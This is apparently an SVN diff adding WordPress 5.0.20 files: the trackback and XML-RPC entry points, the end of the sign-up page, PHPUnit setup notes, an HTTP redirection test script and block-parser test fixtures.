+					printf( '<p><em>' . __( 'The site you were looking for, %s, does not exist, but you can create it now!' ) . '</em></p>',
+						'<strong>' . $newblog . '</strong>'
+					);
+				else
+					/* translators: %s: site address */
+					printf( '<p><em>' . __( 'The site you were looking for, %s, does not exist.' ) . '</em></p>',
+						'<strong>' . $newblog . '</strong>'
+					);
+			}
+			break;
+	}
+}
+?>
+</div>
+</div>
+<?php
+/**
+ * Fires after the sign-up forms, before wp_footer.
+ *
+ * @since 3.0.0
+ */
+do_action( 'after_signup_form' ); ?>
+
+<?php get_footer( 'wp-signup' );
Index: /tags/5.0.20/src/wp-trackback.php
===================================================================
--- /tags/5.0.20/src/wp-trackback.php	(revision 56912)
+++ /tags/5.0.20/src/wp-trackback.php	(revision 56912)
@@ -0,0 +1,149 @@
+<?php
+/**
+ * Handle Trackbacks and Pingbacks Sent to WordPress
+ *
+ * @since 0.71
+ *
+ * @package WordPress
+ * @subpackage Trackbacks
+ */
+
+if (empty($wp)) {
+	require_once( dirname( __FILE__ ) . '/wp-load.php' );
+	wp( array( 'tb' => '1' ) );
+}
+
+// Always run as an unauthenticated user.
+wp_set_current_user( 0 );
+
+/**
+ * Response to a trackback.
+ *
+ * Responds with an error or success XML message.
+ *
+ * @since 0.71
+ *
+ * @param mixed  $error         Whether there was an error.
+ *                              Default '0'. Accepts '0' or '1', true or false.
+ * @param string $error_message Error message if an error occurred.
+ */
+function trackback_response($error = 0, $error_message = '') {
+	header('Content-Type: text/xml; charset=' . get_option('blog_charset') );
+	if ($error) {
+		echo '<?xml version="1.0" encoding="utf-8"?'.">\n";
+		echo "<response>\n";
+		echo "<error>1</error>\n";
+		echo "<message>$error_message</message>\n";
+		echo "</response>";
+		die();
+	} else {
+		echo '<?xml version="1.0" encoding="utf-8"?'.">\n";
+		echo "<response>\n";
+		echo "<error>0</error>\n";
+		echo "</response>";
+	}
+}
+
+// Trackback is done by a POST.
+$request_array = 'HTTP_POST_VARS';
+
+if ( !isset($_GET['tb_id']) || !$_GET['tb_id'] ) {
+	$tb_id = explode('/', $_SERVER['REQUEST_URI']);
+	$tb_id = intval( $tb_id[ count($tb_id) - 1 ] );
+}
+
+$tb_url  = isset($_POST['url'])     ? $_POST['url']     : '';
+$charset = isset($_POST['charset']) ? $_POST['charset'] : '';
+
+// These three are stripslashed here so they can be properly escaped after mb_convert_encoding().
+$title     = isset($_POST['title'])     ? wp_unslash($_POST['title'])      : '';
+$excerpt   = isset($_POST['excerpt'])   ? wp_unslash($_POST['excerpt'])    : '';
+$blog_name = isset($_POST['blog_name']) ? wp_unslash($_POST['blog_name'])  : '';
+
+if ($charset)
+	$charset = str_replace( array(',', ' '), '', strtoupper( trim($charset) ) );
+else
+	$charset = 'ASCII, UTF-8, ISO-8859-1, JIS, EUC-JP, SJIS';
+
+// No valid uses for UTF-7.
+if ( false !== strpos($charset, 'UTF-7') )
+	die;
+
+// For international trackbacks.
+if ( function_exists('mb_convert_encoding') ) {
+	$title     = mb_convert_encoding($title, get_option('blog_charset'), $charset);
+	$excerpt   = mb_convert_encoding($excerpt, get_option('blog_charset'), $charset);
+	$blog_name = mb_convert_encoding($blog_name, get_option('blog_charset'), $charset);
+}
+
+// Now that mb_convert_encoding() has been given a swing, we need to escape these three.
+$title     = wp_slash($title);
+$excerpt   = wp_slash($excerpt);
+$blog_name = wp_slash($blog_name);
+
+if ( is_single() || is_page() )
+	$tb_id = $posts[0]->ID;
+
+if ( !isset($tb_id) || !intval( $tb_id ) )
+	trackback_response( 1, __( 'I really need an ID for this to work.' ) );
+
+if (empty($title) && empty($tb_url) && empty($blog_name)) {
+	// If it doesn't look like a trackback at all.
+	wp_redirect(get_permalink($tb_id));
+	exit;
+}
+
+if ( !empty($tb_url) && !empty($title) ) {
+	/**
+	* Fires before the trackback is added to a post.
+	*
+	* @since 4.7.0
+	*
+	* @param int    $tb_id     Post ID related to the trackback.
+	* @param string $tb_url    Trackback URL.
+	* @param string $charset   Character Set.
+	* @param string $title     Trackback Title.
+	* @param string $excerpt   Trackback Excerpt.
+	* @param string $blog_name Blog Name.
+	*/
+	do_action( 'pre_trackback_post', $tb_id, $tb_url, $charset, $title, $excerpt, $blog_name );
+
+	header('Content-Type: text/xml; charset=' . get_option('blog_charset') );
+
+	if ( !pings_open($tb_id) )
+		trackback_response( 1, __( 'Sorry, trackbacks are closed for this item.' ) );
+
+	$title =  wp_html_excerpt( $title, 250, '&#8230;' );
+	$excerpt = wp_html_excerpt( $excerpt, 252, '&#8230;' );
+
+	$comment_post_ID = (int) $tb_id;
+	$comment_author = $blog_name;
+	$comment_author_email = '';
+	$comment_author_url = $tb_url;
+	$comment_content = "<strong>$title</strong>\n\n$excerpt";
+	$comment_type = 'trackback';
+
+	$dupe = $wpdb->get_results( $wpdb->prepare("SELECT * FROM $wpdb->comments WHERE comment_post_ID = %d AND comment_author_url = %s", $comment_post_ID, $comment_author_url) );
+	if ( $dupe )
+		trackback_response( 1, __( 'We already have a ping from that URL for this post.' ) );
+
+	$commentdata = compact('comment_post_ID', 'comment_author', 'comment_author_email', 'comment_author_url', 'comment_content', 'comment_type');
+
+	$result = wp_new_comment( $commentdata );
+
+	if ( is_wp_error( $result ) ) {
+		trackback_response( 1, $result->get_error_message() );
+	}
+
+	$trackback_id = $wpdb->insert_id;
+
+	/**
+	 * Fires after a trackback is added to a post.
+	 *
+	 * @since 1.2.0
+	 *
+	 * @param int $trackback_id Trackback ID.
+	 */
+	do_action( 'trackback_post', $trackback_id );
+	trackback_response( 0 );
+}
Index: /tags/5.0.20/src/xmlrpc.php
===================================================================
--- /tags/5.0.20/src/xmlrpc.php	(revision 56912)
+++ /tags/5.0.20/src/xmlrpc.php	(revision 56912)
@@ -0,0 +1,101 @@
+<?php
+/**
+ * XML-RPC protocol support for WordPress
+ *
+ * @package WordPress
+ */
+
+/**
+ * Whether this is an XML-RPC Request
+ *
+ * @var bool
+ */
+define('XMLRPC_REQUEST', true);
+
+// Some browser-embedded clients send cookies. We don't want them.
+$_COOKIE = array();
+
+// A bug in PHP < 5.2.2 makes $HTTP_RAW_POST_DATA not set by default,
+// but we can do it ourself.
+if ( !isset( $HTTP_RAW_POST_DATA ) ) {
+	$HTTP_RAW_POST_DATA = file_get_contents( 'php://input' );
+}
+
+// fix for mozBlog and other cases where '<?xml' isn't on the very first line
+if ( isset($HTTP_RAW_POST_DATA) )
+	$HTTP_RAW_POST_DATA = trim($HTTP_RAW_POST_DATA);
+
+/** Include the bootstrap for setting up WordPress environment */
+include( dirname( __FILE__ ) . '/wp-load.php' );
+
+if ( isset( $_GET['rsd'] ) ) { // http://cyber.law.harvard.edu/blogs/gems/tech/rsd.html
+header('Content-Type: text/xml; charset=' . get_option('blog_charset'), true);
+?>
+<?php echo '<?xml version="1.0" encoding="'.get_option('blog_charset').'"?'.'>'; ?>
+<rsd version="1.0" xmlns="http://archipelago.phrasewise.com/rsd">
+  <service>
+    <engineName>WordPress</engineName>
+    <engineLink>https://wordpress.org/</engineLink>
+    <homePageLink><?php bloginfo_rss('url') ?></homePageLink>
+    <apis>
+      <api name="WordPress" blogID="1" preferred="true" apiLink="<?php echo site_url('xmlrpc.php', 'rpc') ?>" />
+      <api name="Movable Type" blogID="1" preferred="false" apiLink="<?php echo site_url('xmlrpc.php', 'rpc') ?>" />
+      <api name="MetaWeblog" blogID="1" preferred="false" apiLink="<?php echo site_url('xmlrpc.php', 'rpc') ?>" />
+      <api name="Blogger" blogID="1" preferred="false" apiLink="<?php echo site_url('xmlrpc.php', 'rpc') ?>" />
+      <?php
+      /**
+       * Add additional APIs to the Really Simple Discovery (RSD) endpoint.
+       *
+       * @link http://cyber.law.harvard.edu/blogs/gems/tech/rsd.html
+	   *
+       * @since 3.5.0
+       */
+      do_action( 'xmlrpc_rsd_apis' );
+      ?>
+    </apis>
+  </service>
+</rsd>
+<?php
+exit;
+}
+
+include_once(ABSPATH . 'wp-admin/includes/admin.php');
+include_once(ABSPATH . WPINC . '/class-IXR.php');
+include_once(ABSPATH . WPINC . '/class-wp-xmlrpc-server.php'); 
+
+/**
+ * Posts submitted via the XML-RPC interface get that title
+ * @name post_default_title
+ * @var string
+ */
+$post_default_title = "";
+
+/**
+ * Filters the class used for handling XML-RPC requests.
+ *
+ * @since 3.1.0
+ *
+ * @param string $class The name of the XML-RPC server class.
+ */
+$wp_xmlrpc_server_class = apply_filters( 'wp_xmlrpc_server_class', 'wp_xmlrpc_server' );
+$wp_xmlrpc_server = new $wp_xmlrpc_server_class;
+
+// Fire off the request
+$wp_xmlrpc_server->serve_request();
+
+exit;
+
+/**
+ * logIO() - Writes logging info to a file.
+ *
+ * @deprecated 3.4.0 Use error_log()
+ * @see error_log()
+ *
+ * @param string $io Whether input or output
+ * @param string $msg Information describing logging reason.
+ */
+function logIO( $io, $msg ) {
+	_deprecated_function( __FUNCTION__, '3.4.0', 'error_log()' );
+	if ( ! empty( $GLOBALS['xmlrpc_logging'] ) )
+		error_log( $io . ' - ' . $msg );
+}
Index: /tags/5.0.20/tests/phpunit/README.txt
===================================================================
--- /tags/5.0.20/tests/phpunit/README.txt	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/README.txt	(revision 56912)
@@ -0,0 +1,23 @@
+The short version:
+
+1. Create a clean MySQL database and user.  DO NOT USE AN EXISTING DATABASE or you will lose data, guaranteed.
+
+2. Copy wp-tests-config-sample.php to wp-tests-config.php, edit it and include your database name/user/password.
+
+3. $ svn up
+
+4. Run the tests from the "trunk" directory:
+   To execute a particular test:
+      $ phpunit tests/phpunit/tests/test_case.php
+   To execute all tests:
+      $ phpunit
+
+Notes:
+
+Test cases live in the 'tests' subdirectory.  All files in that directory will be included by default.  Extend the WP_UnitTestCase class to ensure your test is run.
+
+phpunit will initialize and install a (more or less) complete running copy of WordPress each time it is run.  This makes it possible to run functional interface and module tests against a fully working database and codebase, as opposed to pure unit tests with mock objects and stubs.  Pure unit tests may be used also, of course.
+
+Changes to the test database will be rolled back as tests are finished, to ensure a clean start next time the tests are run.
+
+phpunit is intended to run at the command line, not via a web server.
Index: /tags/5.0.20/tests/phpunit/build.xml
===================================================================
--- /tags/5.0.20/tests/phpunit/build.xml	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/build.xml	(revision 56912)
@@ -0,0 +1,15 @@
+<?xml version="1.0" encoding="utf-8"?>
+<project name="WordPress Unit Tests" default="build" basedir=".">
+    <target name="clean">
+        <delete dir="build" />
+    </target>
+    <target name="prepare">
+        <mkdir dir="build/logs" />
+        <mkdir dir="build/phpunitreport" />
+    </target>
+    <target name="phpunit">
+        <exec command="phpunit" passthru="true"></exec>
+        <phpunitreport infile="build/logs/junit.xml" format="frames" todir="build/phpunitreport" usesorttable="true" />
+    </target>
+    <target name="build" depends="clean,prepare,phpunit" />
+</project>
Index: /tags/5.0.20/tests/phpunit/data/WPHTTP-testcase-redirection-script.php
===================================================================
--- /tags/5.0.20/tests/phpunit/data/WPHTTP-testcase-redirection-script.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/WPHTTP-testcase-redirection-script.php	(revision 56912)
@@ -0,0 +1,139 @@
+<?php
+
+// Thanks WordPress..
+function is_ssl() {
+	if ( isset($_SERVER['HTTPS']) ) {
+		if ( 'on' == strtolower($_SERVER['HTTPS']) )
+			return true;
+		if ( '1' == $_SERVER['HTTPS'] )
+			return true;
+	} elseif ( isset($_SERVER['SERVER_PORT']) && ( '443' == $_SERVER['SERVER_PORT'] ) ) {
+		return true;
+	}
+	return false;
+}
+
+$url = ( is_ssl() ? 'https://' : 'http://' ) . $_SERVER['HTTP_HOST'] . (!empty($_SERVER['HTTP_POST']) && 80 != $_SERVER['HTTP_POST'] ? ':' . $_SERVER['HTTP_POST'] : '');
+if ( strpos($_SERVER['REQUEST_URI'], '?') )
+	$url .= substr($_SERVER['REQUEST_URI'], 0, strpos($_SERVER['REQUEST_URI'], '?'));
+else
+	$url .= $_SERVER['REQUEST_URI'];
+
+if ( isset($_GET['source']) ) {
+	highlight_file(__FILE__ );
+	exit;
+}
+
+if ( isset($_GET['201-location']) ) {
+	header("HTTP/1.1 201 OK");
+	if ( isset($_GET['fail']) ) {
+		echo "FAIL";
+	} else {
+		header("Location: $url?201-location&fail=true", true, 201);
+		echo "PASS";
+	}
+	exit;
+}
+if ( isset($_GET['header-check']) ) {
+	$out = array();
+	header("Content-type: text/plain");
+	foreach ( $_SERVER as $key => $value ) {
+		if ( stripos($key, 'http') === 0 ) {
+			$key = strtolower(substr($key, 5));
+			echo "$key:$value\n";
+		}
+	}
+	exit;
+}
+if ( isset($_GET['multiple-headers']) ) {
+	header("HeaderName: One", false);
+	header("HeaderName: Two", false);
+	header("HeaderName: Three", false);
+	exit;
+}
+
+if ( isset( $_GET['post-redirect-to-method'] ) ) {
+	$method = $_SERVER['REQUEST_METHOD'];
+	$response_code = isset( $_GET['response_code'] ) ? $_GET['response_code'] : 301;
+
+	if ( 'POST' == $method && ! isset( $_GET['redirection-performed'] ) ) {
+		header( "Location: $url?post-redirect-to-method=1&redirection-performed=1", true, $response_code );
+		exit;
+	}
+
+	echo $method;
+	exit;
+	
+}
+
+if ( isset( $_GET['location-with-200'] ) ) {
+	if ( ! isset( $_GET['redirection-performed'] ) ) {
+		header( "HTTP/1.1 200 OK" );
+		header( "Location: $url?location-with-200=1&redirection-performed", true, 200 );
+		echo 'PASS';
+		exit;
+	}
+	// Redirection was followed
+	echo 'FAIL';
+	exit;
+}
+
+if ( isset( $_GET['print-pass'] ) ) {
+	echo 'PASS';
+	exit;
+}
+
+if ( isset( $_GET['multiple-location-headers'] ) ) {
+	if ( ! isset( $_GET['redirected'] ) ) {
+		header( "Location: $url?multiple-location-headers=1&redirected=one", false );
+		header( "Location: $url?multiple-location-headers=1&redirected=two", false );
+		exit;
+	}
+	if ( 'two' != $_GET['redirected'] )
+		echo 'FAIL';
+	else
+		echo 'PASS';
+	exit;
+}
+
+if ( isset( $_GET['cookie-test'] ) ) {
+	if ( 'test-cookie' != $_GET['cookie-test'] ) {
+		setcookie( 'api_test_cookie', 'value', time() + 365*24*60*60, '/core/tests/1.0/', 'api.wordpress.org' );
+		setcookie( 'api_test_cookie_minimal', 'value'  );
+		setcookie( 'api_test_cookie_wrong_host', 'value', time() + 365*24*60*60, '/', 'example.com' );
+		setcookie( 'api_test_wildcard_domain', 'value', time() + 365*24*60*60, '/', '.wordpress.org' );
+		setcookie( 'api_test_cookie_expired', 'value', time() - 365*24*60*60, '/', '.wordpress.org' );
+		header( "Location: $url?cookie-test=test-cookie" );
+		exit;
+	}
+
+	if ( empty( $_COOKIE['api_test_cookie'] ) || 'value' != $_COOKIE['api_test_cookie'] )
+		die( 'FAIL_NO_COOKIE' );
+	if ( empty( $_COOKIE['api_test_cookie_minimal'] ) )
+		die( 'FAIL_NO_MINIMAL' );
+	if ( isset( $_COOKIE['api_test_cookie_wrong_host'] ) )
+		die( 'FAIL_WRONG_HOST' );
+	if ( empty( $_COOKIE['api_test_wildcard_domain'] ) )
+		die( 'FAIL_NO_WILDCARD' );
+	if ( isset( $_COOKIE['api_test_cookie_expired'] ) )
+		die( 'FAIL_EXPIRED_COOKIE' );
+
+	echo 'PASS';
+	exit;
+}
+
+
+$rt = isset($_GET['rt']) ? $_GET['rt'] : 5;
+$r = isset($_GET['r']) ? $_GET['r'] : 0;
+
+if ( $r < $rt ) {
+	$code = isset($_GET['code']) ? (int)$_GET['code'] : 302;
+	header("Location: $url?rt=" . $rt . "&r=" . ($r+1), true, $code);
+	echo "Redirect $r of $rt";
+	exit;
+}
+echo "Redirect $r of $rt is FINAL.<br/>";
+echo "GET['rt'] = Total times to redirect. Defaults to 5.<br />";
+echo "GET['r'] = Current redirection. Defaults to 0.<br />";
+echo "<a href='$url?source=true'>View Source</a>";
+
Index: /tags/5.0.20/tests/phpunit/data/blocks/do-blocks-expected.html
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/do-blocks-expected.html	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/do-blocks-expected.html	(revision 56912)
@@ -0,0 +1,22 @@
+<p>First Auto Paragraph</p>
+
+<!--more-->
+
+
+<p>First Gutenberg Paragraph</p>
+
+
+<p>Second Auto Paragraph</p>
+
+
+
+
+<p>Third Gutenberg Paragraph</p>
+
+
+<p>Third Auto Paragraph</p>
+
+<p>[someshortcode]</p>
+<p>And some content?!</p>
+<p>[/someshortcode]</p>
+
Index: /tags/5.0.20/tests/phpunit/data/blocks/do-blocks-original.html
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/do-blocks-original.html	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/do-blocks-original.html	(revision 56912)
@@ -0,0 +1,25 @@
+<p>First Auto Paragraph</p>
+
+<!--more-->
+
+<!-- wp:core/paragraph -->
+<p>First Gutenberg Paragraph</p>
+<!-- /wp:core/paragraph -->
+
+<p>Second Auto Paragraph</p>
+
+<!-- wp:core/test-self-closing /-->
+
+<!-- wp:core/paragraph -->
+<p>Third Gutenberg Paragraph</p>
+<!-- /wp:core/paragraph -->
+
+<p>Third Auto Paragraph</p>
+
+<!-- wp:core/shortcode -->
+[someshortcode]
+
+And some content?!
+
+[/someshortcode]
+<!-- /wp:core/shortcode -->
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__4-invalid-starting-letter.html
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__4-invalid-starting-letter.html	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__4-invalid-starting-letter.html	(revision 56912)
@@ -0,0 +1,1 @@
+<!-- wp:core/4-invalid /-->
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__4-invalid-starting-letter.json
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__4-invalid-starting-letter.json	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__4-invalid-starting-letter.json	(revision 56912)
@@ -0,0 +1,12 @@
+[
+    {
+        "clientId": "_clientId_0",
+        "name": "core/freeform",
+        "isValid": true,
+        "attributes": {
+            "content": "<p><!-- wp:core/4-invalid /--></p>"
+        },
+        "innerBlocks": [],
+        "originalContent": "<p><!-- wp:core/4-invalid /--></p>"
+    }
+]
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__4-invalid-starting-letter.parsed.json
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__4-invalid-starting-letter.parsed.json	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__4-invalid-starting-letter.parsed.json	(revision 56912)
@@ -0,0 +1,11 @@
+[
+    {
+        "blockName": null,
+        "attrs": {},
+        "innerBlocks": [],
+        "innerHTML": "<!-- wp:core/4-invalid /-->\n",
+        "innerContent": [
+            "<!-- wp:core/4-invalid /-->\n"
+        ]
+    }
+]
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__4-invalid-starting-letter.serialized.html
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__4-invalid-starting-letter.serialized.html	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__4-invalid-starting-letter.serialized.html	(revision 56912)
@@ -0,0 +1,1 @@
+<p><!-- wp:core/4-invalid /--></p>
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__4-invalid-starting-letter.server.html
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__4-invalid-starting-letter.server.html	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__4-invalid-starting-letter.server.html	(revision 56912)
@@ -0,0 +1,1 @@
+<!-- wp:core/4-invalid /-->
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__archives.html
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__archives.html	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__archives.html	(revision 56912)
@@ -0,0 +1,1 @@
+<!-- wp:archives {"displayAsDropdown":false,"showPostCounts":false} /-->
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__archives.json
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__archives.json	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__archives.json	(revision 56912)
@@ -0,0 +1,13 @@
+[
+    {
+        "clientId": "_clientId_0",
+        "name": "core/archives",
+        "isValid": true,
+        "attributes": {
+            "displayAsDropdown": false,
+            "showPostCounts": false
+        },
+        "innerBlocks": [],
+        "originalContent": ""
+    }
+]
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__archives.parsed.json
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__archives.parsed.json	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__archives.parsed.json	(revision 56912)
@@ -0,0 +1,12 @@
+[
+    {
+        "blockName": "core/archives",
+        "attrs": {
+            "displayAsDropdown": false,
+            "showPostCounts": false
+        },
+        "innerBlocks": [],
+        "innerHTML": "",
+        "innerContent": []
+    }
+]
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__archives.serialized.html
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__archives.serialized.html	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__archives.serialized.html	(revision 56912)
@@ -0,0 +1,1 @@
+<!-- wp:archives /-->
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__archives.server.html
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__archives.server.html	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__archives.server.html	(revision 56912)
@@ -0,0 +1,1 @@
+<div class="wp-block-archives wp-block-archives-list">No archives to show.</div>
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__archives__showPostCounts.html
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__archives__showPostCounts.html	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__archives__showPostCounts.html	(revision 56912)
@@ -0,0 +1,1 @@
+<!-- wp:archives {"displayAsDropdown":false,"showPostCounts":true} /-->
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__archives__showPostCounts.json
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__archives__showPostCounts.json	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__archives__showPostCounts.json	(revision 56912)
@@ -0,0 +1,13 @@
+[
+    {
+        "clientId": "_clientId_0",
+        "name": "core/archives",
+        "isValid": true,
+        "attributes": {
+            "displayAsDropdown": false,
+            "showPostCounts": true
+        },
+        "innerBlocks": [],
+        "originalContent": ""
+    }
+]
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__archives__showPostCounts.parsed.json
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__archives__showPostCounts.parsed.json	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__archives__showPostCounts.parsed.json	(revision 56912)
@@ -0,0 +1,12 @@
+[
+    {
+        "blockName": "core/archives",
+        "attrs": {
+            "displayAsDropdown": false,
+            "showPostCounts": true
+        },
+        "innerBlocks": [],
+        "innerHTML": "",
+        "innerContent": []
+    }
+]
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__archives__showPostCounts.serialized.html
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__archives__showPostCounts.serialized.html	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__archives__showPostCounts.serialized.html	(revision 56912)
@@ -0,0 +1,1 @@
+<!-- wp:archives {"showPostCounts":true} /-->
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__archives__showPostCounts.server.html
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__archives__showPostCounts.server.html	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__archives__showPostCounts.server.html	(revision 56912)
@@ -0,0 +1,1 @@
+<div class="wp-block-archives wp-block-archives-list">No archives to show.</div>
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__audio.html
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__audio.html	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__audio.html	(revision 56912)
@@ -0,0 +1,5 @@
+<!-- wp:core/audio {"align":"right"} -->
+<figure class="wp-block-audio alignright">
+    <audio controls="" src="https://media.simplecast.com/episodes/audio/80564/draft-podcast-51-livePublish2.mp3"></audio>
+</figure>
+<!-- /wp:core/audio -->
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__audio.json
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__audio.json	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__audio.json	(revision 56912)
@@ -0,0 +1,16 @@
+[
+    {
+        "clientId": "_clientId_0",
+        "name": "core/audio",
+        "isValid": true,
+        "attributes": {
+            "src": "https://media.simplecast.com/episodes/audio/80564/draft-podcast-51-livePublish2.mp3",
+            "caption": "",
+            "autoplay": false,
+            "loop": false,
+            "align": "right"
+        },
+        "innerBlocks": [],
+        "originalContent": "<figure class=\"wp-block-audio alignright\">\n    <audio controls=\"\" src=\"https://media.simplecast.com/episodes/audio/80564/draft-podcast-51-livePublish2.mp3\"></audio>\n</figure>"
+    }
+]
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__audio.parsed.json
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__audio.parsed.json	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__audio.parsed.json	(revision 56912)
@@ -0,0 +1,18 @@
+[
+    {
+        "blockName": "core/audio",
+        "attrs": {
+            "align": "right"
+        },
+        "innerBlocks": [],
+        "innerHTML": "\n<figure class=\"wp-block-audio alignright\">\n    <audio controls=\"\" src=\"https://media.simplecast.com/episodes/audio/80564/draft-podcast-51-livePublish2.mp3\"></audio>\n</figure>\n",
+        "innerContent": [ "\n<figure class=\"wp-block-audio alignright\">\n    <audio controls=\"\" src=\"https://media.simplecast.com/episodes/audio/80564/draft-podcast-51-livePublish2.mp3\"></audio>\n</figure>\n" ]
+    },
+    {
+        "blockName": null,
+        "attrs": {},
+        "innerBlocks": [],
+        "innerHTML": "\n",
+        "innerContent": [ "\n" ]
+    }
+]
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__audio.serialized.html
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__audio.serialized.html	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__audio.serialized.html	(revision 56912)
@@ -0,0 +1,3 @@
+<!-- wp:audio {"align":"right"} -->
+<figure class="wp-block-audio alignright"><audio controls src="https://media.simplecast.com/episodes/audio/80564/draft-podcast-51-livePublish2.mp3"></audio></figure>
+<!-- /wp:audio -->
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__audio.server.html
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__audio.server.html	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__audio.server.html	(revision 56912)
@@ -0,0 +1,5 @@
+
+<figure class="wp-block-audio alignright">
+    <audio controls="" src="https://media.simplecast.com/episodes/audio/80564/draft-podcast-51-livePublish2.mp3"></audio>
+</figure>
+
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__block.html
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__block.html	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__block.html	(revision 56912)
@@ -0,0 +1,1 @@
+<!-- wp:core/block {"ref":123} /-->
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__block.json
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__block.json	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__block.json	(revision 56912)
@@ -0,0 +1,12 @@
+[
+    {
+        "clientId": "_clientId_0",
+        "name": "core/block",
+        "isValid": true,
+        "attributes": {
+            "ref": 123
+        },
+        "innerBlocks": [],
+        "originalContent": ""
+    }
+]
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__block.parsed.json
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__block.parsed.json	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__block.parsed.json	(revision 56912)
@@ -0,0 +1,18 @@
+[
+    {
+        "blockName": "core/block",
+        "attrs": {
+            "ref": 123
+        },
+        "innerBlocks": [],
+        "innerHTML": "",
+        "innerContent": []
+    },
+    {
+        "blockName": null,
+        "attrs": {},
+        "innerBlocks": [],
+        "innerHTML": "\n",
+        "innerContent": [ "\n" ]
+    }
+]
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__block.serialized.html
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__block.serialized.html	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__block.serialized.html	(revision 56912)
@@ -0,0 +1,1 @@
+<!-- wp:block {"ref":123} /-->
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__block.server.html
===================================================================
